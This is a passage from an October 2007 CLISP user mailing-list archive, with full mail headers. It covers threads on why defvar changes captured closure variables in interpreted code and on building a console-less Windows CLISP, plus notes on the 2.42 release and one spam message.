List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Oct 2007 15:22:29 -0000 Sam Steingold wrote: > Eli Bendersky wrote: >> Consider this code: >> >> (defun printer (val) >> (lambda () (format t "~a~%" val))) >> >> (setq printer-of-10 (printer 10)) >> (funcall printer-of-10) >> >> It prints "10" as expected. However, consider this code: >> >> (defvar val 12) >> (funcall printer-of-10) >> >> It prints 12 ! > > this is, of course, not compliant. > to get the compliant behavior, you will need to compile the code, > e.g., by adding (declare (compile)) to the printer definition. > > ISTR that this behavior was implemented intentionally to ease > interactive development, because "usually" the printer above would be > followed by a (forgotten) defvar. on a second thought (and after looking at the source code :-), I think I can explain the CLISP behavior better. this is _interpreted_ code. when printer-of-10 is executed and val is evaluated (after defvar!), we see a globally special symbol val which can have only a global symbol-value (not a local binding), and thus we are compelled to evaluate it to 12. this is an artifact of interaction between global special declarations and code interpretation. the compiled code does not exhibit this behavior because the compilation eliminates the symbol val from the compiled code, so defvar cannot affect it. note that (let ((val 42)) (funcall printer-of-10)) prints 10 before defvar and 42 after. hth. Sam. From eliben@gmail.com Mon Oct 08 11:10:24 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Iex3g-0003vS-IQ for clisp-list@lists.sourceforge.net; Mon, 08 Oct 2007 11:10:24 -0700 Received: from an-out-0708.google.com ([209.85.132.247]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Iex3f-0006YM-6m for clisp-list@lists.sourceforge.net; Mon, 08 Oct 2007 11:10:24 -0700 Received: by an-out-0708.google.com with SMTP id b38so134640ana for ; Mon, 08 Oct 2007 11:10:18 -0700 (PDT) Received: by 10.142.255.14 with SMTP id c14mr2205239wfi.1191867016921; Mon, 08 Oct 2007 11:10:16 -0700 (PDT) Received: by 10.142.239.11 with HTTP; Mon, 8 Oct 2007 11:10:16 -0700 (PDT) Message-ID: <95cf475a0710081110x2f60f42x4ef59af424a4dc2d@mail.gmail.com> Date: Mon, 8 Oct 2007 20:10:16 +0200 From: "Eli Bendersky" To: clisp-list@lists.sourceforge.net In-Reply-To: <470A4B2A.30306@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <95cf475a0710052236i16e25fe1xec9a259a379492f5@mail.gmail.com> <95cf475a0710052236o55fa6cffka3fcdd62b76a398d@mail.gmail.com> <95cf475a0710072038r70774710wcfce66a589d3e65f@mail.gmail.com> <470A466F.3020607@gnu.org> <470A4B2A.30306@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] defvar affecting captured closure variables ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Oct 2007 18:10:24 -0000 > on a second thought (and after looking at the source code :-), I think I > can explain the CLISP behavior better. > > this is _interpreted_ code. > when printer-of-10 is executed and val is evaluated (after defvar!), we > see a globally special symbol val which can have only a global > symbol-value (not a local binding), and thus we are compelled to > evaluate it to 12. > > this is an artifact of interaction between global special declarations > and code interpretation. the compiled code does not exhibit this > behavior because the compilation eliminates the symbol val from the > compiled code, so defvar cannot affect it. > > note that > (let ((val 42)) (funcall printer-of-10)) > prints 10 before defvar and 42 after. > What is the verdict, though ? CLISP, in interpreted mode, still doesn't comply to the Common Lisp standard here, or so it seems to me. By the way, this code is a washed down portion of code that had a very insidious bug that hunted me for hours. Imagine writing a large body of code, and later define a defvar for some local test with the wrong variable name and BOOM - all the code starts working in a really weird way after the defvar. Eli From olopierpa@gmail.com Mon Oct 08 13:04:35 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IeyqA-0006ki-QE for clisp-list@lists.sourceforge.net; Mon, 08 Oct 2007 13:04:35 -0700 Received: from an-out-0708.google.com ([209.85.132.242]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ieyq9-0006TK-Cb for clisp-list@lists.sourceforge.net; Mon, 08 Oct 2007 13:04:34 -0700 Received: by an-out-0708.google.com with SMTP id b38so141517ana for ; Mon, 08 Oct 2007 13:04:32 -0700 (PDT) Received: by 10.142.72.21 with SMTP id u21mr4094566wfa.1191873871791; Mon, 08 Oct 2007 13:04:31 -0700 (PDT) Received: by 10.142.140.17 with HTTP; Mon, 8 Oct 2007 13:04:31 -0700 (PDT) Message-ID: <7352e43a0710081304i5225f0b6yd29e9c348aa2b46@mail.gmail.com> Date: Mon, 8 Oct 2007 22:04:31 +0200 From: "Pierpaolo Bernardi" To: "Eli Bendersky" In-Reply-To: <95cf475a0710081110x2f60f42x4ef59af424a4dc2d@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <95cf475a0710052236i16e25fe1xec9a259a379492f5@mail.gmail.com> <95cf475a0710052236o55fa6cffka3fcdd62b76a398d@mail.gmail.com> <95cf475a0710072038r70774710wcfce66a589d3e65f@mail.gmail.com> <470A466F.3020607@gnu.org> <470A4B2A.30306@gnu.org> <95cf475a0710081110x2f60f42x4ef59af424a4dc2d@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] defvar affecting captured closure variables ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Oct 2007 20:04:35 -0000 On 10/8/07, Eli Bendersky wrote: > By the way, this code is a washed down portion of code that had a very > insidious bug that hunted me for hours. Imagine writing a large body > of code, and later define a defvar for some local test with the wrong > variable name and BOOM - all the code starts working in a really weird > way after the defvar. And why do you think it is recommended to use asterisks around the name of special variables? P. From sds@gnu.org Mon Oct 08 13:45:09 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IezTR-0002Cb-MX for clisp-list@lists.sourceforge.net; Mon, 08 Oct 2007 13:45:09 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IezTQ-0004x5-95 for clisp-list@lists.sourceforge.net; Mon, 08 Oct 2007 13:45:09 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A6CB04D4; Mon, 08 Oct 2007 16:44:59 -0400 Message-ID: <470A96CB.4060103@gnu.org> Date: Mon, 08 Oct 2007 16:44:59 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Eli Bendersky References: <95cf475a0710052236i16e25fe1xec9a259a379492f5@mail.gmail.com> <95cf475a0710052236o55fa6cffka3fcdd62b76a398d@mail.gmail.com> <95cf475a0710072038r70774710wcfce66a589d3e65f@mail.gmail.com> <470A466F.3020607@gnu.org> <470A4B2A.30306@gnu.org> <95cf475a0710081110x2f60f42x4ef59af424a4dc2d@mail.gmail.com> In-Reply-To: <95cf475a0710081110x2f60f42x4ef59af424a4dc2d@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] defvar affecting captured closure variables ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Oct 2007 20:45:09 -0000 Eli Bendersky wrote: >> on a second thought (and after looking at the source code :-), I think I >> can explain the CLISP behavior better. >> >> this is _interpreted_ code. >> when printer-of-10 is executed and val is evaluated (after defvar!), we >> see a globally special symbol val which can have only a global >> symbol-value (not a local binding), and thus we are compelled to >> evaluate it to 12. >> >> this is an artifact of interaction between global special declarations >> and code interpretation. the compiled code does not exhibit this >> behavior because the compilation eliminates the symbol val from the >> compiled code, so defvar cannot affect it. >> >> note that >> (let ((val 42)) (funcall printer-of-10)) >> prints 10 before defvar and 42 after. >> > > What is the verdict, though ? CLISP, in interpreted mode, still > doesn't comply to the Common Lisp standard here, or so it seems to me. CLISP offers you an opportunity to run your code in a fully interpreted mode. "fully interpreted" makes the current behavior a necessity. sometimes this behavior is desirable, sometimes it is not, but this is the way it is, and it is not likely to change. if you can't live with it, always compile your code. > By the way, this code is a washed down portion of code that had a very > insidious bug that hunted me for hours. Imagine writing a large body > of code, and later define a defvar for some local test with the wrong > variable name and BOOM - all the code starts working in a really weird > way after the defvar. I feel your pain. :-( nevertheless, I do not think CLISP is to blame here. Sam. From bruno@clisp.org Mon Oct 08 15:43:23 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1If1Jq-0005DF-PC for clisp-list@lists.sourceforge.net; Mon, 08 Oct 2007 15:43:22 -0700 Received: from mo-p07-ob.rzone.de ([81.169.146.189]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1If1Jq-0000sv-AO; Mon, 08 Oct 2007 15:43:22 -0700 Received: from linuix.haible.de ([81.210.217.73]) by post.webmailer.de (klopstock mo54) (RZmta 13.4) with ESMTP id N033e2j98Ixak0 ; Tue, 9 Oct 2007 00:43:04 +0200 (MEST) (envelope-from: ) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , Eli Bendersky Date: Tue, 9 Oct 2007 00:43:01 +0200 User-Agent: KMail/1.5.4 References: <95cf475a0710052236i16e25fe1xec9a259a379492f5@mail.gmail.com> <95cf475a0710072038r70774710wcfce66a589d3e65f@mail.gmail.com> <470A466F.3020607@gnu.org> In-Reply-To: <470A466F.3020607@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200710090043.01871.bruno@clisp.org> X-RZG-AUTH: gMysVb8JT2gB+rFDu0PuvnPihAP8oFdePhw95HsN8T+WAEY7QaSDm1JE X-RZG-CLASS-ID: mo07 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] defvar affecting captured closure variables ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Oct 2007 22:43:23 -0000 Sam wrote: > Eli Bendersky wrote: > > > > Consider this code: > > > > (defun printer (val) > > (lambda () (format t "~a~%" val))) > > > > (setq printer-of-10 (printer 10)) > > (funcall printer-of-10) > > > > It prints "10" as expected. However, consider this code: > > > > (defvar val 12) > > (funcall printer-of-10) > > > > It prints 12 ! > > this is, of course, not compliant. You mean, clisp's result are not ANSI CL compliant? Nah. The program above is not conforming ANSI CL, therefore clisp can produce arbitrary results. Why is it not conforming ANSI CL? Because of section 3.2.2.3 Semantic Constraints: "All conforming programs must obey the following constraints ...: Special proclamations for dynamic variables must be made in the compilation environment." The code shown above has a SPECIAL proclamation for the variable VAL in the execution environment (before the funcall) but not in the compilation environment: at the moment the PRINTER function is defined, is it not known as a SPECIAL variable. Therefore the code is not conforming. The same holds also for macros. Before defining a function that uses a macro, that macro must have been defined. > ISTR that this behavior was implemented intentionally to ease > interactive development, because "usually" the printer above would be > followed by a (forgotten) defvar. Yes, exactly. When a user compiles a program, the compiler is allowed to remember the information whether a variable was SPECIAL or not, because that allows the compiler to generate more efficient code. But in interpreted code, when the user changes the state of a variable, or redefines a macro, he does *not* want to re-evaluate all DEFUNs that use the variable or macro. ANSI CL gives the implementation freedom regarding interpreted evaluation, how much it wants to remember / cache, and how much it wants to evaluate according the current environment, if the environment has changed. clisp implements "ad-hoc lookup" for variables, but not for macros. It would be useful to change clisp to take into account changed macro definitions during the interpretation of function bodies. It currently does not do so, for efficiency reasons: macro expansion is slow. But with a more intelligent caching mechanism, this could be remedied. If the interpreted function would not only cache the function body's expansion but also the vector of global macros that this expansion depended on, clisp could decide to throw away the cached macro expansion and redo the expansion when it sees that a macro's definition has changed. Test case: (defmacro pair (x y) `(cons ,x ,y)) (defun foo (a b c d) (pair (pair a b) (pair c d))) (foo 1 2 3 4) => ((1 . 2) 3 . 4) ; user not satisfied with the result (defmacro pair (x y) `(list ,x ,y)) (foo 1 2 3 4) => ((1 2) (3 4)) Bruno From yarogo@dt.co.kr Tue Oct 09 10:19:24 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IfIjs-0006fi-4x for clisp-list@lists.sourceforge.net; Tue, 09 Oct 2007 10:19:24 -0700 Received: from acspro001077.adsl.ppp.infoweb.ne.jp ([218.217.98.77]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IfIjq-0003uK-HC for clisp-list@lists.sourceforge.net; Tue, 09 Oct 2007 10:19:24 -0700 Received: from [109.225.72.206] (helo=alw) by acspro001077.adsl.ppp.infoweb.ne.jp with smtp (Exim 4.62 (FreeBSD)) id 1J0e-0001Lo-Cf; Wed, 10 Oct 2007 02:22:16 +0900 Message-ID: <470BB817.6040206@dt.co.kr> Date: Wed, 10 Oct 2007 02:19:19 +0900 From: User-Agent: Thunderbird 2.0.0.6 (Windows/20070728) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [218.217.98.77 listed in dnsbl.sorbs.net] Subject: [clisp-list] Hot online games, all free. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Oct 2007 17:19:24 -0000 What can we say, we got free games. over 1000 of them. check it out! http://67.184.63.32/ From sds@gnu.org Wed Oct 10 13:30:49 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IfiCf-0007fA-JH for clisp-list@lists.sourceforge.net; Wed, 10 Oct 2007 13:30:49 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IfiCd-0006r1-2u for clisp-list@lists.sourceforge.net; Wed, 10 Oct 2007 13:30:49 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A66D0560; Wed, 10 Oct 2007 16:30:37 -0400 Message-ID: <470D366C.5060701@gnu.org> Date: Wed, 10 Oct 2007 16:30:36 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Bruno Haible References: <95cf475a0710052236i16e25fe1xec9a259a379492f5@mail.gmail.com> <95cf475a0710072038r70774710wcfce66a589d3e65f@mail.gmail.com> <470A466F.3020607@gnu.org> <200710090043.01871.bruno@clisp.org> In-Reply-To: <200710090043.01871.bruno@clisp.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Eli Bendersky , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] defvar affecting captured closure variables ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Oct 2007 20:30:49 -0000 Please take a look at http://clisp.podval.org/impnotes/faq.html#faq-scope which summarized the discussion. From elliottslaughter@gmail.com Wed Oct 10 22:37:10 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IfqjO-0000Hz-64 for clisp-list@lists.sourceforge.net; Wed, 10 Oct 2007 22:37:10 -0700 Received: from nf-out-0910.google.com ([64.233.182.189]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IfqjK-00076U-NV for clisp-list@lists.sourceforge.net; Wed, 10 Oct 2007 22:37:10 -0700 Received: by nf-out-0910.google.com with SMTP id 4so1357161nfv for ; Wed, 10 Oct 2007 22:37:03 -0700 (PDT) Received: by 10.78.201.15 with SMTP id y15mr1105798huf.1192081022657; Wed, 10 Oct 2007 22:37:02 -0700 (PDT) Received: by 10.78.135.16 with HTTP; Wed, 10 Oct 2007 22:37:02 -0700 (PDT) Message-ID: <42c0ab790710102237h514c0c4et9d9d0f67db96b802@mail.gmail.com> Date: Wed, 10 Oct 2007 22:37:02 -0700 From: "Elliott Slaughter" To: clisp-list@lists.sourceforge.net In-Reply-To: <42c0ab790710092232m73f2aff1s9a26c1c1113694cf@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <42c0ab790710072339m2bc05fccyb0793c5e8157666e@mail.gmail.com> <42c0ab790710092232m73f2aff1s9a26c1c1113694cf@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Building a Windows Clisp version Inquiry X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Oct 2007 05:37:10 -0000 I am attempting to build a Windows (XP) Clisp (from CVS) version without a console as per the instructions of Frank Buss on http://www.frank-buss.de/lisp/clisp.html . After dealing with an error due to some duplicated code in stdint.h, Clisp compiled. The thing is, it still has a console, even though I specifically built clisp-gui. If anyone could tell me how to actually get it to not have a console, I would appreciate it. The one thing I didn't do was use the patch as directed in the example. I didn't know if the patch was to fix 2.38, or to make the no console part of clisp-gui work properly, but I do know that it didn't patch the latest version properly, so I assume it isn't needed. (Or else there should be an up to date patch....) Thanks for your time. -- Elliott Slaughter "Any road followed precisely to its end leads precisely nowhere." - Frank Herbert From sds@gnu.org Thu Oct 11 09:26:04 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ig0rK-0006SO-3j for clisp-list@lists.sourceforge.net; Thu, 11 Oct 2007 09:26:02 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ig0rI-0007Vg-5g for clisp-list@lists.sourceforge.net; Thu, 11 Oct 2007 09:26:01 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AE900680; Thu, 11 Oct 2007 12:25:52 -0400 Message-ID: <470E4E8F.7010509@gnu.org> Date: Thu, 11 Oct 2007 12:25:51 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Elliott Slaughter References: <42c0ab790710072339m2bc05fccyb0793c5e8157666e@mail.gmail.com> <42c0ab790710092232m73f2aff1s9a26c1c1113694cf@mail.gmail.com> <42c0ab790710102237h514c0c4et9d9d0f67db96b802@mail.gmail.com> In-Reply-To: <42c0ab790710102237h514c0c4et9d9d0f67db96b802@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Building a Windows Clisp version Inquiry X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Oct 2007 16:26:04 -0000 Elliott Slaughter wrote: > I am attempting to build a Windows (XP) Clisp (from CVS) version > without a console as per the instructions of Frank Buss on > http://www.frank-buss.de/lisp/clisp.html . After dealing with an error > due to some duplicated code in stdint.h, Clisp compiled. The thing is, > it still has a console, even though I specifically built clisp-gui. the last part of the command line on Frank's page, "clisp-gui", is the name of the directory in which the build process happens, and does not affect the way CLISP is built. the penultimate part, "--build", tells CLISP build process that you trust it enough to proceed to build from configure without giving you an opportunity to edit the makefile. please see clisp/unix/INSTALL for more information. > The one thing I didn't do was use the patch as directed in the > example. I didn't know if the patch was to fix 2.38, or to make the no > console part of clisp-gui work properly, but I do know that it didn't > patch the latest version properly, so I assume it isn't needed. (Or > else there should be an up to date patch....) the patch consists of 3 parts: 1. add "-mwindows" to CC flags in makefile. 2. support woe98 in spvw.d. 3. do not open console in stream.d and win32aux.d. I don't like the second part, and I don't think there is much point in supporting an obsolete proprietary platform. Parts 1 and 3 look fine and should work, but I have no way to check that because I have no access to woe32. I would be interested in incorporating a working patch based on the first and third parts of Frank's patch into the official CLISP distribution, provided this no-console behavior were optional, at run-time (based on a command-line option) if possible, or at build time (based on a configure option) if necessary. So, even though I cannot offer you any direct help, I have offered anyone who helps you a chance to be immortalized in the CLISP ChangeLog file. :-) Sam. From jdunrue@gmail.com Tue Oct 16 20:56:28 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ii019-0005NG-0W for clisp-list@lists.sourceforge.net; Tue, 16 Oct 2007 20:56:27 -0700 Received: from rv-out-0910.google.com ([209.85.198.189]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ii018-0006lX-Qz for clisp-list@lists.sourceforge.net; Tue, 16 Oct 2007 20:56:23 -0700 Received: by rv-out-0910.google.com with SMTP id g11so6192630rvb for ; Tue, 16 Oct 2007 20:56:21 -0700 (PDT) Received: by 10.114.149.2 with SMTP id w2mr9332636wad.1192593378864; Tue, 16 Oct 2007 20:56:18 -0700 (PDT) Received: by 10.114.52.2 with HTTP; Tue, 16 Oct 2007 20:56:13 -0700 (PDT) Message-ID: Date: Tue, 16 Oct 2007 21:56:13 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] [clisp-announce] GNU CLISP 2.42 (2007-10-16) released X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 03:56:28 -0000 I have uploaded clisp-2.42-win32-mingw-without-readline.zip to upload.sourceforge.net/incoming clisp-2.42-win32-mingw-without-readline.zip built by Jack Unrue using mingw without i18n and readline with rawsock, dirkey, wildcard and bindings/win32 A couple notes: It looks like autoconf needed to be run one last time so the version string could be set to 2.42 rather than 2.41.1. I just fixed that manually in configure and version.h prior to building the distribution zip, and I verified that 'clisp --version' and (lisp-implementation-version) report the correct version. The install.bat file was not getting copied into my build directory, and hence not into the distribution. I copied it in manually so it would be in the right place when the zip file got built. Congratulations to Sam on this latest release! -- Jack Unrue From jdunrue@gmail.com Tue Oct 16 21:28:35 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ii0WJ-0008Je-9U for clisp-list@lists.sourceforge.net; Tue, 16 Oct 2007 21:28:35 -0700 Received: from nz-out-0506.google.com ([64.233.162.237]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ii0WI-00018b-0o for clisp-list@lists.sourceforge.net; Tue, 16 Oct 2007 21:28:35 -0700 Received: by nz-out-0506.google.com with SMTP id f1so5446154nzc for ; Tue, 16 Oct 2007 21:28:33 -0700 (PDT) Received: by 10.114.170.1 with SMTP id s1mr9334705wae.1192595312543; Tue, 16 Oct 2007 21:28:32 -0700 (PDT) Received: by 10.114.52.2 with HTTP; Tue, 16 Oct 2007 21:28:32 -0700 (PDT) Message-ID: Date: Tue, 16 Oct 2007 22:28:32 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: <470E4E8F.7010509@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <42c0ab790710072339m2bc05fccyb0793c5e8157666e@mail.gmail.com> <42c0ab790710092232m73f2aff1s9a26c1c1113694cf@mail.gmail.com> <42c0ab790710102237h514c0c4et9d9d0f67db96b802@mail.gmail.com> <470E4E8F.7010509@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] Building a Windows Clisp version Inquiry X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 04:28:35 -0000 On 10/11/07, Sam Steingold wrote: > > I would be interested in incorporating a working patch based on the > first and third parts of Frank's patch into the official CLISP > distribution, provided this no-console behavior were optional, at > run-time (based on a command-line option) if possible, or at build time > (based on a configure option) if necessary. I wasn't able to get to this prior to the 2.42 release, but I want to create such a patch in the next week or so. -- Jack Unrue From elliottslaughter@gmail.com Tue Oct 16 22:14:15 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ii1EU-000497-T2 for clisp-list@lists.sourceforge.net; Tue, 16 Oct 2007 22:14:15 -0700 Received: from nf-out-0910.google.com ([64.233.182.189]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ii1EU-0002B4-5k for clisp-list@lists.sourceforge.net; Tue, 16 Oct 2007 22:14:14 -0700 Received: by nf-out-0910.google.com with SMTP id 4so6367883nfv for ; Tue, 16 Oct 2007 22:14:12 -0700 (PDT) Received: by 10.78.180.18 with SMTP id c18mr5363420huf.1192598052476; Tue, 16 Oct 2007 22:14:12 -0700 (PDT) Received: by 10.78.135.16 with HTTP; Tue, 16 Oct 2007 22:14:12 -0700 (PDT) Message-ID: <42c0ab790710162214y9c3b47ds718b47654bfb3efd@mail.gmail.com> Date: Tue, 16 Oct 2007 22:14:12 -0700 From: "Elliott Slaughter" To: "Jack Unrue" In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <42c0ab790710072339m2bc05fccyb0793c5e8157666e@mail.gmail.com> <42c0ab790710092232m73f2aff1s9a26c1c1113694cf@mail.gmail.com> <42c0ab790710102237h514c0c4et9d9d0f67db96b802@mail.gmail.com> <470E4E8F.7010509@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by 